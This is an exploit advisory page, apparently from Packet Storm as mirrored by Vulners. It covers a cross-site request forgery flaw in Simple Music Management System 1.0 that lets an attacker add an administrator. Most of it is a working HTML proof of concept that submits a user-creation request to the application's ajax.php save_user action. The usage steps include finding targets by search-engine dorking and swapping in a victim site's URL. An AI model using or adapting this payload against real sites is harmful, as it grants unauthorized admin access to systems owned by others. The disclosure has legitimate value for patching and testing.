Lucene search
K

Simple Music Management System 1.0 Add Administrator / Cross Site Request Forgery

🗓️ 30 Sep 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 238 Views

Simple Music Management System 1.0 CSRF Add Administrator Vulnerabilit

Code
`=============================================================================================================================================  
| # Title : Simple Music Management System v1.0 CSRF Add ADmin Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following html code add new admin .  
  
[+] Go to the line 35.  
  
[+] Set the target site link Save changes and apply .   
  
[+] save code as poc.html .  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>User Registration</title>  
</head>  
<body>  
  
<h2>User Registration</h2>  
<form id="userForm" enctype="multipart/form-data">  
<label for="email">User Name:</label>  
<input type="email" id="email" name="email" required><br><br>  
  
<label for="password">Password:</label>  
<input type="password" id="password" name="password" required><br><br>  
  
<div class="form-group">  
<label for="" class="control-label">Avatar</label>  
<div class="custom-file">  
<input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
<label class="custom-file-label" for="customFile">Choose file</label>  
</div>  
</div>  
  
<input type="button" value="Save User" onclick="saveUser()">  
</form>  
  
<script>  
function saveUser() {  
var form = document.getElementById('userForm');  
var formData = new FormData(form);  
  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://127.0.0.1/music/ajax.php?action=save_user", true);  
  
xhr.onload = function () {  
if (xhr.status === 200) {  
alert('User saved successfully');  
} else {  
alert('An error occurred while saving the user');  
}  
};  
  
xhr.send(formData);  
}  
</script>  
  
</body>  
</html>  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation